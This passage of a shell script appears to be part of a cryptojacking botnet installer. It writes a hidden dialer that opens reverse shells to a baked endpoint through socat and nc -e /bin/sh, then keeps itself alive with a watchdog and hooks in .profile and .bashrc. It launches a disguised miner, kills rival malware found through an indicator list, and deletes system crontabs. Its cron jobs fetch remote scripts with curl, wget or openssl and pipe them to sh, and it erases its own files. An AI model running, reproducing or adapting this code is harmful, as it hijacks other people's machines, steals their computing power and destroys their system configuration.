  988. printf '# vice versa. The beacon is resolved FRESH every tick and must carry our\n'
  989. printf '# marker, so a planted .beacon_*.sh cannot hijack the lane.\n'
  990. printf '_ROLE="${1:-dial}"\n'
  991. printf '_BD="%s"\n' "$_sd_dir"
  992. printf '# Our endpoint, baked at land time. The dialer does NOT depend on the\n'
  993. printf '# beacon file existing: if it is gone or unreadable we dial directly.\n'
  994. printf '_EPH="%s"\n' "$_sd_host"
  995. printf '_EPP="%s"\n' "$_sd_port"
  996. printf '# last known IP (DNS fallback): if the record lapses, try this too.\n'
  997. printf '_EPI="%s"\n' "$_sd_ip"
  998. printf '_pick() {\n'
  999. printf ' for _f in $(ls -1t "$_BD"/.beacon_*.sh 2>/dev/null); do\n'
  1000. printf ' grep -qs "^%s$" "$_f" 2>/dev/null && { printf "%%s" "$_f"; return 0; }\n' "$_BC_MARK"
  1001. printf ' done\n'
  1002. printf ' return 1\n'
  1003. printf '}\n'
  1004. printf '_alive() { [ -n "$1" ] && kill -0 "$1" 2>/dev/null; }\n'
  1005. printf "# _direct: dial our baked endpoint WITHOUT the beacon file. This is what\n"
  1006. printf '# keeps the lane alive when the beacon file is deleted or half-written.\n'
  1007. printf '_direct() {\n'
  1008. printf " _ev='while read -r line; do eval \"\$line\" 2>&1; done'\n"
  1009. printf ' for _h in "$_EPH" "$_EPI"; do\n'
  1010. printf ' [ -n "$_h" ] || continue\n'
  1011. printf ' if command -v socat >/dev/null 2>&1; then\n'
  1012. printf " timeout 240 socat TCP4:\"\$_h\":\"\$_EPP\" SYSTEM:\"\$_ev\" 2>/dev/null && return 0\n"
  1013. printf ' fi\n'
  1014. printf " if nc -h 2>&1 | grep -qe '-e '; then\n"
  1015. printf " timeout 240 nc \"\$_h\" \"\$_EPP\" -e /bin/sh -c \"\$_ev\" 2>/dev/null && return 0\n"
  1016. printf ' fi\n'
  1017. printf ' done\n'
  1018. printf ' return 1\n'
  1019. printf '}\n'
  1020. printf 'case "$_ROLE" in\n'
  1021. printf 'watch)\n'
  1022. printf ' printf "%%s" "$$" > "$_BD/.beacon-watchdog.pid" 2>/dev/null\n'
  1023. printf ' while :; do\n'
  1024. printf ' sleep 5\n'
  1025. printf ' _DP=$(cat "$_BD/.beacon-dialer.pid" 2>/dev/null)\n'
  1026. printf ' if ! _alive "$_DP"; then\n'
  1027. printf ' setsid "$0" dial </dev/null >/dev/null 2>&1 &\n'
  1028. printf ' sleep 1\n'
  1029. printf ' fi\n'
  1030. printf ' if [ -f "$_BD/.beacon-job.path" ]; then\n'
  1031. printf ' _MB=$(head -1 "$_BD/.beacon-job.path" 2>/dev/null)\n'
  1032. printf ' _MA=$(tail -n +2 "$_BD/.beacon-job.path" 2>/dev/null | head -1)\n'
  1033. printf ' if [ -n "$_MB" ] && [ -x "$_MB" ]; then\n'
  1034. printf ' _MOK=0\n'
  1035. printf ' for _mp in /proc/[0-9]*; do\n'
  1036. printf ' [ -r "$_mp/cmdline" ] || continue\n'
  1037. printf ' case "$(tr "\\0" " " < "$_mp/cmdline" 2>/dev/null)" in\n'
  1038. printf ' *"$_MB"*) _MOK=1; break ;;\n'
  1039. printf ' esac\n'
  1040. printf ' done\n'
  1041. printf ' [ "$_MOK" = "0" ] && setsid "$_MB" $_MA </dev/null >/dev/null 2>&1 &\n'
  1042. printf ' fi\n'
  1043. printf ' fi\n'
  1044. printf ' done\n'
  1045. printf ' ;;\n'
  1046. printf 'dial)\n'
  1047. printf ' # M42: never run two dialers. The pidfile is the fast path but it can\n'
  1048. printf ' # hold a PID that is not the live instance; the /proc scan is the\n'
  1049. printf ' # authority. A second dialer means two sessions per host per tick.\n'
  1050. printf ' for _dp in /proc/[0-9]*; do\n'
  1051. printf ' [ "$_dp" = "/proc/$$" ] && continue\n'
  1052. printf ' _dc=$(tr "\\0" " " < "$_dp/cmdline" 2>/dev/null)\n'
  1053. printf ' case "$_dc" in\n'
  1054. printf ' *".beacon-dialer.sh dial"*) exit 0 ;;\n'
  1055. printf ' esac\n'
  1056. printf ' done\n'
  1057. printf ' printf "%%s" "$$" > "$_BD/.beacon-dialer.pid" 2>/dev/null\n'
  1058. printf ' while :; do\n'
  1059. printf ' # prompt first dial: the host may have been dark for a whole cadence\n'
  1060. printf ' _BF=$(_pick)\n'
  1061. printf ' if [ -n "$_BF" ] && [ -x "$_BF" ]; then\n'
  1062. printf ' # fire and forget: the beacon holds the session open for up to\n'
  1063. printf ' # 240s. Blocking on it would stall THIS loop (and with it the\n'
  1064. printf ' # watchdog liveness check) for the whole window.\n'
  1065. printf ' ( "$_BF" >/dev/null 2>&1 & )\n'
  1066. printf ' else\n'
  1067. printf ' ( _direct >/dev/null 2>&1 & )\n'
  1068. printf ' fi\n'
  1069. printf ' # cadence 300..900s (the old 600..3600s meant up to an hour of\n'
  1070. printf ' # channel downtime after any outage)\n'
  1071. printf ' _s=$(tr -dc 0-9 </dev/urandom 2>/dev/null | head -c4)\n'
  1072. printf ' [ -n "$_s" ] || _s=1800\n'
  1073. printf ' [ "$_s" -ge 1 ] 2>/dev/null || _s=1800\n'
  1074. printf ' _s=$(( 300 + _s %% 600 ))\n'
  1075. printf ' # sleep in slices and check the watchdog on every slice, so a killed\n'
  1076. printf ' # watchdog is back within seconds instead of a whole cadence window\n'
  1077. printf ' _left=$_s\n'
  1078. printf ' while [ "$_left" -gt 0 ]; do\n'
  1079. printf ' _sl=15; [ "$_left" -lt 15 ] && _sl=$_left\n'
  1080. printf ' sleep "$_sl"\n'
  1081. printf ' _left=$(( _left - _sl ))\n'
  1082. printf ' _WP=$(cat "$_BD/.beacon-watchdog.pid" 2>/dev/null)\n'
  1083. printf ' if ! _alive "$_WP"; then\n'
  1084. printf ' setsid "$0" watch </dev/null >/dev/null 2>&1 &\n'
  1085. printf ' sleep 1\n'
  1086. printf ' fi\n'
  1087. printf ' done\n'
  1088. printf ' done\n'
  1089. printf ' ;;\n'
  1090. printf 'esac\n'
  1091. } > "$_sd_loop" 2>/dev/null || return 0
  1092. chmod 700 "$_sd_loop" 2>/dev/null || true
  1093. _sd_running=0
  1094. _sd_old=$(cat "$_sd_pid" 2>/dev/null)
  1095. if [ -n "$_sd_old" ] && kill -0 "$_sd_old" 2>/dev/null; then
  1096. if [ "$(cat "$_sd_vfile" 2>/dev/null)" = "$_sd_ver|$_sd_ep" ]; then _sd_running=1; fi
  1097. fi
  1098. if [ "$_sd_running" = "0" ]; then
  1099. :
  1100. for _sd_k in "$_sd_pid" "$_sd_wpid"; do
  1101. _sd_kp=$(cat "$_sd_k" 2>/dev/null)
  1102. [ -n "$_sd_kp" ] && kill -9 "$_sd_kp" 2>/dev/null || true
  1103. done
  1104. rm -f "$_sd_pid" "$_sd_wpid" 2>/dev/null || true
  1105. setsid "$_sd_loop" watch </dev/null >/dev/null 2>&1 &
  1106. sleep 1
  1107. setsid "$_sd_loop" dial </dev/null >/dev/null 2>&1 &
  1108. sleep 1
  1109. for _sd_i in 1 2 3 4 5 6 7 8 9 10; do
  1110. _sd_t=$(cat "$_sd_pid" 2>/dev/null)
  1111. _sd_tw=$(cat "$_sd_wpid" 2>/dev/null)
  1112. { [ -n "$_sd_t" ] && [ -n "$_sd_tw" ]; } && break
  1113. sleep 1
  1114. done
  1115. else
  1116. :
  1117. _sd_ow=$(cat "$_sd_wpid" 2>/dev/null)
  1118. if [ -z "$_sd_ow" ] || ! kill -0 "$_sd_ow" 2>/dev/null; then
  1119. setsid "$_sd_loop" watch </dev/null >/dev/null 2>&1 &
  1120. sleep 1
  1121. _sd_ow=$(cat "$_sd_wpid" 2>/dev/null)
  1122. echo "[M39] watchdog was missing — restarted (pid ${_sd_ow:-none})"
  1123. fi
  1124. fi
  1125. _sd_new=$(cat "$_sd_pid" 2>/dev/null)
  1126. _sd_new_w=$(cat "$_sd_wpid" 2>/dev/null)
  1127. if [ -n "$_sd_new" ] && kill -0 "$_sd_new" 2>/dev/null; then
  1128. printf '%s' "$_sd_ver|$_sd_ep" > "$_sd_vfile" 2>/dev/null || true
  1129. echo "[M39] cron-free self-dialer installed (dial pid $_sd_new, watchdog pid ${_sd_new_w:-none}, loop: $_sd_loop)"
  1130. else
  1131. echo "[M38] self-dialer install failed (no cron lane either?)"
  1132. fi
  1133. _sd_hook="if [ -x \"$_sd_loop\" ]; then (setsid \"$_sd_loop\" watch </dev/null >/dev/null 2>&1 &) (setsid \"$_sd_loop\" dial </dev/null >/dev/null 2>&1 &); fi"
  1134. for _sd_hf in "$HOME/.profile" "$HOME/.bashrc" "$HOME/.bash_profile"; do
  1135. [ -f "$_sd_hf" ] && [ -w "$_sd_hf" ] 2>/dev/null || continue
  1136. grep -qF "$_sd_loop" "$_sd_hf" 2>/dev/null && continue
  1137. printf '\n# M39 cron-free lane\n%s\n' "$_sd_hook" >> "$_sd_hf" 2>/dev/null || true
  1138. done
  1139. return 0
  1140. }
  1141.  
  1142. _sweep_old_beacons() {
  1143. [ -n "$_beacon_file" ] || return 0
  1144. _sw_ok=0
  1145. crontab -l 2>/dev/null | grep -qF "$_beacon_file" 2>/dev/null && _sw_ok=1
  1146. [ "$_sw_ok" = "0" ] && grep -qF "$_beacon_file" /etc/cron.d/zz_beacon 2>/dev/null && _sw_ok=1
  1147. _sw_dir=$(dirname "$_beacon_file" 2>/dev/null)
  1148. _sw_pid="$_sw_dir/.beacon-dialer.pid"
  1149. if [ "$_sw_ok" = "0" ] && [ -f "$_sw_pid" ]; then
  1150. _sw_dpid=$(cat "$_sw_pid" 2>/dev/null)
  1151. if [ -n "$_sw_dpid" ] && kill -0 "$_sw_dpid" 2>/dev/null; then
  1152. _sw_newest=$(ls -1t "$_sw_dir"/.beacon_*.sh 2>/dev/null | head -1)
  1153. [ "$_sw_newest" = "$_beacon_file" ] && _sw_ok=1
  1154. fi
  1155. fi
  1156. if [ "$_sw_ok" = "1" ]; then
  1157. for _bsib in /var/tmp/.beacon_*.sh /tmp/.beacon_*.sh /dev/shm/.beacon_*.sh "$HOME"/.beacon_*.sh; do
  1158. :
  1159. case "$_bsib" in
  1160. */.beacon-dialer.sh) continue ;;
  1161. esac
  1162. if [ -f "$_bsib" ] && [ "$_bsib" != "$_beacon_file" ]; then
  1163. rm -f "$_bsib" 2>/dev/null || true
  1164. fi
  1165. done
  1166. echo "Beacon convergence: previous beacon files retired (live lane references: $_beacon_file)."
  1167. else
  1168. echo "[M37] no live lane could reference the new beacon file — keeping the previous one(s) alive."
  1169. fi
  1170. return 0
  1171. }
  1172. _cleanup_transport() {
  1173. :
  1174. for _ct_dir in /proc/[0-9]*; do
  1175. [ -r "$_ct_dir/cmdline" ] || continue
  1176. _ct_pid="${_ct_dir##*/}"
  1177. [ "$_ct_pid" = "$$" ] && continue
  1178. _ct_cmd=$(tr '\0' ' ' < "$_ct_dir/cmdline" 2>/dev/null)
  1179. [ -n "$_ct_cmd" ] || continue
  1180. case "$_ct_cmd" in
  1181. *'.beacon-dialer'*) : ;;
  1182. *"$_beacon_file"*) : ;;
  1183. *dev/tcp*|*.beacon_*|*beacon.sh*)
  1184. if kill -9 "$_ct_pid" 2>/dev/null; then
  1185. log "Transport cleanup: killed delivery PID $_ct_pid"
  1186. fi
  1187. ;;
  1188. esac
  1189. case "$_ct_cmd" in
  1190. *"sh -s -- $_c1"*)
  1191. if kill -9 "$_ct_pid" 2>/dev/null; then
  1192. log "Transport cleanup: killed sibling spool shell PID $_ct_pid"
  1193. fi
  1194. ;;
  1195. esac
  1196. done
  1197. for _ct_spool in /tmp/.amqb64_* /var/tmp/.amqb64_* /dev/shm/.amqb64_*; do
  1198. [ -e "$_ct_spool" ] || continue
  1199. rm -f "$_ct_spool" 2>/dev/null || true
  1200. done
  1201. rm -f "$0" 2>/dev/null || true
  1202. rmdir "$(dirname "$0")" 2>/dev/null || true
  1203. _ct_self=$(tr '\0' ' ' < "/proc/$$/cmdline" 2>/dev/null)
  1204. case "$_ct_self" in
  1205. *"sh -s -- "*)
  1206. log "Transport cleanup: dropping delivery shell"
  1207. kill -9 $$ 2>/dev/null || true
  1208. ;;
  1209. esac
  1210. return 0
  1211. }
  1212. _miner_cfg=""
  1213. _prepare_miner_cfg() {
  1214. [ -n "$_MINER_KEY" ] && return 0 # the encrypted carrier path
  1215. _pmc_dir=$(dirname "$program_file" 2>/dev/null)
  1216. [ -n "$_pmc_dir" ] && [ -d "$_pmc_dir" ] && [ -w "$_pmc_dir" ] || return 0
  1217. _pmc_cfg="$_pmc_dir/.job.json"
  1218. printf '{"pools":[{"url":"%s","user":"%s.%s","rig-id":"%s","nicehash":false,"keepalive":true}],"donate-level":0}\n' \
  1219. "$_c3" "$_c4" "$_c1" "$_c1" > "$_pmc_cfg" 2>/dev/null || { _pmc_cfg=""; return 0; }
  1220. chmod 600 "$_pmc_cfg" 2>/dev/null || true
  1221. [ -s "$_pmc_cfg" ] && _miner_cfg="$_pmc_cfg"
  1222. return 0
  1223. }
  1224. _miner_run_args() {
  1225. if [ -n "$_miner_cfg" ] && [ -s "$_miner_cfg" ]; then
  1226. printf -- '--config=%s' "$_miner_cfg"
  1227. else
  1228. printf '%s' "-o $_c3 -u $_c4.$_c1 -k"
  1229. fi
  1230. }
  1231. is_our_process_running() {
  1232. for _iop_dir in /proc/[0-9]*; do
  1233. [ -r "$_iop_dir/cmdline" ] || continue
  1234. _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  1235. case "$_iop_cmdline" in
  1236. *[![:space:]]*) ;;
  1237. *)
  1238. _iop_comm=$(cat "$_iop_dir/comm" 2>/dev/null)
  1239. if [ "$_iop_comm" = "$_MD_BIN" ] || [ "$_iop_comm" = "dsvc" ]; then
  1240. _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  1241. [ "$_iop_state" = "Z" ] && continue
  1242. _iop_pid="${_iop_dir##*/}"
  1243. _iop_exe=$(readlink "$_iop_dir/exe" 2>/dev/null)
  1244. case "$_iop_exe" in
  1245. */"$_MD_DIR"/"$_MD_BIN"|*/systemdev/dsvc|"")
  1246. _iop_inst=""
  1247. case "$_iop_exe" in
  1248. */"$_MD_DIR"/"$_MD_BIN"|*/systemdev/dsvc)
  1249. [ -r "${_iop_exe%/*}/.inst" ] && _iop_inst=$(cat "${_iop_exe%/*}/.inst" 2>/dev/null)
  1250. ;;
  1251. esac
  1252. if [ "$_iop_inst" != "$_c4.$_c1 $_c3" ]; then
  1253. echo "Disguised process without current identity marker — replacing"
  1254. kill -9 "$_iop_pid" 2>/dev/null
  1255. sleep 1
  1256. continue
  1257. fi
  1258. _iop_cpu=$(_tool ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  1259. _iop_cpu=${_iop_cpu:-0}
  1260. _iop_int=${_iop_cpu%.*}
  1261. _iop_int=${_iop_int:-0}
  1262. if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  1263. echo "Our disguised process active (PID $_iop_pid) — skipping launch"
  1264. _mark_miner_identity "$_iop_exe"
  1265. return 0
  1266. fi
  1267. echo "Our disguised process idle (PID $_iop_pid) — killing and relaunching"
  1268. kill -9 "$_iop_pid" 2>/dev/null
  1269. sleep 1
  1270. ;;
  1271. esac
  1272. fi
  1273. continue
  1274. ;;
  1275. esac
  1276. _iop_tag=0
  1277. echo "$_iop_cmdline" | grep -q "$_c5" && _iop_tag=1
  1278. _iop_cfg=0
  1279. if [ -n "$_miner_cfg" ]; then
  1280. case "$_iop_cmdline" in *"$_miner_cfg"*) _iop_cfg=1 ;; esac
  1281. fi
  1282. if { [ "$_iop_tag" = "1" ] || [ "$_iop_cfg" = "1" ]; } && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
  1283. _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  1284. [ "$_iop_state" = "Z" ] && continue
  1285. _iop_pid="${_iop_dir##*/}"
  1286. case "$_ga_arch" in
  1287. aarch64|arm64|armv8l)
  1288. case "$_iop_cmdline" in
  1289. *".$_c1"*) ;;
  1290. *)
  1291. echo "ARM process uses a different identifier; replacing"
  1292. kill -9 "$_iop_pid" 2>/dev/null
  1293. sleep 1
  1294. continue
  1295. ;;
  1296. esac
  1297. ;;
  1298. esac
  1299. _iop_cpu=$(_tool ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  1300. _iop_cpu=${_iop_cpu:-0}
  1301. _iop_int=${_iop_cpu%.*}
  1302. _iop_int=${_iop_int:-0}
  1303. if [ "$_iop_cfg" = "1" ]; then
  1304. : # M41: config-launched - the tag lives in the config, not in argv
  1305. else
  1306. case "$_iop_cmdline" in
  1307. *"$_c1 "*|*"$_c1")
  1308. : ;;
  1309. *)
  1310. echo "Our process runs with a stale tag — killing for relaunch (arg=$_c1)"
  1311. kill -9 "$_iop_pid" 2>/dev/null
  1312. sleep 1
  1313. continue
  1314. ;;
  1315. esac
  1316. fi
  1317. _iop_pool=$(printf '%s' "$_iop_cmdline" | sed -n 's/.* -o \([^ ]*\).*/\1/p')
  1318. if [ -n "$_iop_pool" ] && [ "$_iop_pool" != "$_c3" ]; then
  1319. echo "Our process on stale pool $_iop_pool — killing for relaunch (now: $_c3)"
  1320. kill -9 "$_iop_pid" 2>/dev/null
  1321. sleep 1
  1322. continue
  1323. fi
  1324. case "$_iop_cmdline" in
  1325. *"$_c4/"*)
  1326. echo "Our process uses a stale worker-id separator - killing for relaunch (dot form)"
  1327. kill -9 "$_iop_pid" 2>/dev/null
  1328. sleep 1
  1329. continue
  1330. ;;
  1331. esac
  1332. if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  1333. echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
  1334. _iop_bin=$(printf '%s' "$_iop_cmdline" | sed -n 's/^\([^ ]*\/$_MD_DIR\/$_MD_BIN\).*/\1/p')
  1335. [ -n "$_iop_bin" ] && _mark_miner_identity "$_iop_bin"
  1336. return 0
  1337. else
  1338. echo "Our process idle (PID $_iop_pid) — killing and relaunching"
  1339. kill -9 "$_iop_pid" 2>/dev/null
  1340. sleep 1
  1341. fi
  1342. fi
  1343. done
  1344. echo "Our process not running"
  1345. return 1
  1346. }
  1347. set_arch_urls() {
  1348. _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  1349. case "$_ga_arch" in
  1350. x86_64|amd64)
  1351. _ga_url="$_c7"
  1352. _ga_fallback="$_c9"
  1353. _ga_machine=3e00
  1354. ;;
  1355. aarch64|arm64|armv8l)
  1356. _ga_url="$_c8"
  1357. _ga_fallback=""
  1358. _ga_machine=b700
  1359. _c1=ARM
  1360. ;;
  1361. *)
  1362. _ga_url=""
  1363. _ga_fallback=""
  1364. _ga_machine=""
  1365. return 1
  1366. ;;
  1367. esac
  1368. }
  1369. _elf_machine() {
  1370. od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
  1371. }
  1372. _is_elf_for_arch() {
  1373. _ie_file="$1"
  1374. [ -s "$_ie_file" ] || return 1
  1375. [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  1376. [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  1377. [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
  1378. }
  1379. _sfx_path() {
  1380. if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  1381. else
  1382. :
  1383. if [ -n "$HOME" ] && [ -d "$HOME" ] && [ -w "$HOME" ]; then printf '%s/.sysid' "$HOME"
  1384. else printf '/tmp/.sysid'; fi
  1385. fi
  1386. }
  1387. _load_or_gen_sfx() {
  1388. _log_f=$(_sfx_path)
  1389. if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  1390. _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  1391. [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  1392. mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  1393. printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  1394. printf '%s' "$_log_s"
  1395. }
  1396.  
  1397. _SFX=$(_load_or_gen_sfx)
  1398. _BC_MARK="#$(head -c 8 /dev/urandom 2>/dev/null | od -An -tx1 | tr -d ' \n' | tr 'A-F' 'a-f')"
  1399. case "$_BC_MARK" in "#") _BC_MARK="#$(printf '%08x' $$)" ;; esac
  1400. _STATE_HOME=""
  1401. if [ -n "$HOME" ] && [ -d "$HOME" ] && [ -w "$HOME" ] 2>/dev/null; then _STATE_HOME="$HOME"; fi
  1402. _STATE_DIR=$(_state_dir 2>/dev/null) || _STATE_DIR="/var/tmp"
  1403. _MD_DIR="d$_SFX"
  1404. _MD_BIN="b$_SFX"
  1405.  
  1406. _WP_IOC='systemdev/cron-fetch|cron-fetch-ppfs|lazyrabbit\.pages\.dev|gistpad\.com|\.usr_cron|/etc/\.dd|oanacroner|kdevtmpfsi|kinsing|\.\.config|bash /tmp/|/tmp/\.[a-z0-9_-]{2,}/|/var/tmp/\.[a-z0-9_-]{2,}/|/dev/shm/\.[A-Za-z0-9_-]|nodebox|kwork|udev-helper|/\.svc/config\.bin|java_update|\.jvbd|\.sysjvd|/\.va\b|scsi_eh|X0_lock|MASKED_RUN|exec -a|\.khp|nm-dog|\.sysd-private|spamassassin/daemon\.sh|31\.56\.209\.189|base64 -d\|[sh]|\.halt/|\.dbus/|\.dl_|--oneshot -q'
  1407. scrub_competitor_crons() {
  1408. command -v crontab >/dev/null 2>&1 || return 0
  1409. _sc_cur=$(crontab -l 2>/dev/null) || return 0
  1410. [ -n "$_sc_cur" ] || return 0
  1411. _sc_ioc="$_WP_IOC"
  1412. if [ -f /tmp/run-agent.sh ] && [ -r /tmp/run-agent.sh ] && ! _gc_ra_ioc /tmp/run-agent.sh; then
  1413. : # benign run-agent script — keep its cron line
  1414. else
  1415. _sc_ioc="$_sc_ioc|run-agent\.sh"
  1416. fi
  1417. printf '%s\n' "$_sc_cur" | grep -vE "$_sc_ioc" | crontab - 2>/dev/null \
  1418. && echo "Crontab scrubbed: competitor lines removed, config preserved." \
  1419. || echo "[sw] cron scrub failed (crontab kept as-is)"
  1420. return 0
  1421. }
  1422.  
  1423. wipe_previous_crons() {
  1424. :
  1425. if [ "$(id -u)" -eq 0 ]; then
  1426. for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
  1427. /var/spool/cron/* /var/spool/cron/crontabs/* \
  1428. /etc/cron.hourly/* /etc/cron.daily/* \
  1429. /etc/cron.weekly/* /etc/cron.monthly/* \
  1430. /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  1431. [ -e "$_wl" ] || continue
  1432. chattr -i "$_wl" 2>/dev/null || true
  1433. chattr -a "$_wl" 2>/dev/null || true
  1434. done
  1435. fi
  1436.  
  1437. _wp_is_zimbra=0
  1438. [ "$(id -un 2>/dev/null)" = "zimbra" ] && _wp_is_zimbra=1
  1439. [ "$_wp_is_zimbra" = 0 ] && crontab -l 2>/dev/null | grep -qi "zimbra" && _wp_is_zimbra=1
  1440. if [ "$_wp_is_zimbra" = 1 ]; then
  1441. scrub_competitor_crons
  1442. else
  1443. crontab -r 2>/dev/null || true
  1444. fi
  1445. for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
  1446. [ -f "$_us" ] || continue
  1447. case "$_us" in *zimbra*) continue ;; esac
  1448. grep -qi "zimbra" "$_us" 2>/dev/null && continue
  1449. rm -f "$_us" 2>/dev/null || true
  1450. done
  1451.  
  1452. if [ "$_wp_is_zimbra" = 0 ]; then
  1453. rm -f /etc/crontab 2>/dev/null || true
  1454. rm -f /etc/cron.d/* 2>/dev/null || true
  1455. rm -f /etc/cron.hourly/* /etc/cron.daily/* \
  1456. /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  1457. fi
  1458. }
  1459.  
  1460. create_cronjob() {
  1461. cron_health || true
  1462. _chrc=$?
  1463. if [ "$_chrc" = 1 ]; then cron_log "cron_health: $CRONH — pointer cron SKIPPED (guardian persists)"; return 1; fi
  1464. [ "$_chrc" = 2 ] && cron_log "cron_health: $CRONH — lines installed anyway"
  1465. if [ "${VILLAIN_CARRIER_FALLBACK:-0}" != "1" ]; then
  1466. cron_log "M32: carrier-fetch pointer cron not installed (channel-only persistence)"
  1467. return 0
  1468. fi
  1469. for _cc_dep in tar gzip; do
  1470. if ! command -v $_cc_dep >/dev/null 2>&1; then
  1471. if [ "$(id -u)" = "0" ]; then
  1472. if command -v apk >/dev/null 2>&1; then
  1473. apk add --no-cache $_cc_dep >/dev/null 2>&1 || true
  1474. elif command -v apt-get >/dev/null 2>&1; then
  1475. apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq $_cc_dep >/dev/null 2>&1 || true
  1476. elif command -v yum >/dev/null 2>&1; then
  1477. yum install -y -q $_cc_dep >/dev/null 2>&1 || true
  1478. elif command -v dnf >/dev/null 2>&1; then
  1479. dnf install -y -q $_cc_dep >/dev/null 2>&1 || true
  1480. fi
  1481. fi
  1482. fi
  1483. done
  1484. _cc_home=""
  1485. if [ "$(id -u)" = "0" ]; then
  1486. mkdir -p /etc/.dd 2>/dev/null && _cc_home="/etc/.dd"
  1487. fi
  1488. if [ -z "$_cc_home" ] && [ -n "$HOME" ] && [ -w "$HOME" ]; then
  1489. mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _cc_home="$HOME/.usr_cron/lib"
  1490. fi
  1491. if [ -z "$_cc_home" ] && [ -n "$HOME_1" ]; then
  1492. mkdir -p "$HOME_1" 2>/dev/null && [ -w "$HOME_1" ] && _cc_home="$HOME_1"
  1493. fi
  1494. [ -n "$_cc_home" ] || _cc_home="/tmp/.usr_cron/lib"
  1495. if ! command -v crontab >/dev/null 2>&1; then
  1496. echo "No crontab available; persistence not installed"
  1497. return 1
  1498. fi
  1499. _cc_cmd=""
  1500. if command -v curl >/dev/null 2>&1; then
  1501. _cc_cmd="T=/tmp/.ccr$$; curl -fsSLk -A Mozilla/5.0 $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { curl -fsSLk -A Mozilla/5.0 $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }; rm -f $T"
  1502. elif command -v wget >/dev/null 2>&1; then
  1503. _cc_cmd="T=/tmp/.ccr$$; wget -qO- -U Mozilla/5.0 --no-check-certificate $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { wget -qO- -U Mozilla/5.0 --no-check-certificate $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }"
  1504. elif command -v openssl >/dev/null 2>&1; then
  1505. :
  1506. mkdir -p "$_cc_home/systemdev" 2>/dev/null
  1507. _cc_helper="$_cc_home/systemdev/cron-fetch-ppfs.sh"
  1508. rm -f "/tmp/.cron_fetch_ppfs_$.sh" 2>/dev/null
  1509. cat > "$_cc_helper" << 'PASTEHELPER'
  1510. #!/bin/sh
  1511. _paste="$1"
  1512. _hp="${_paste#https://}";; _hp="${_hp#http://}";
  1513. _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  1514. if command -v timeout >/dev/null 2>&1; then
  1515. _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  1516. timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  1517. else
  1518. _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  1519. openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  1520. fi
  1521. printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b" 2>/dev/null
  1522. head -c 2 "$_paste.b" | grep -q '#!' && { sh "$_paste.b"; rm -f "$_paste.b"; exit $?; }
  1523. [ -n "$2" ] || exit 1
  1524. _hp2="${2#https://}";; _hp2="${_hp2#http://}";
  1525. _h2="${_hp2%%/*}"; _q2="/${_hp2#*/}"; [ "$_h2" = "$_hp2" ] && _q2="/"
  1526. _r2=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q2" "$_h2" | \
  1527. timeout 45 openssl s_client -quiet -connect "${_h2}:443" -servername "$_h2" 2>/dev/null)
  1528. printf '%s\n' "$_r2" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b2" 2>/dev/null
  1529. head -c 2 "$_paste.b2" | grep -q '#!' && { sh "$_paste.b2"; }
  1530. rm -f "$_paste.b" "$_paste.b2"
  1531. exit 0
  1532. PASTEHELPER
  1533. chmod 755 "$_cc_helper"
  1534. _cc_cmd="$_cc_helper $_cc_pastebin $_cc_pastebin_b"
  1535. fi
  1536.  
  1537. if [ -n "$_cc_cmd" ]; then
  1538. if ! command -v tar >/dev/null 2>&1 || ! command -v gzip >/dev/null 2>&1; then
  1539. :
  1540. if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  1541. if crontab -l 2>/dev/null | grep -qF "$_cc_pastebin"; then
  1542. echo "Cron persistence already installed (zimbra, preserved)."
  1543. else
  1544. if (crontab -l 2>/dev/null; printf '%s\n' "$( _cron_sched 2 ) * * * * $_cc_cmd") | crontab -; then
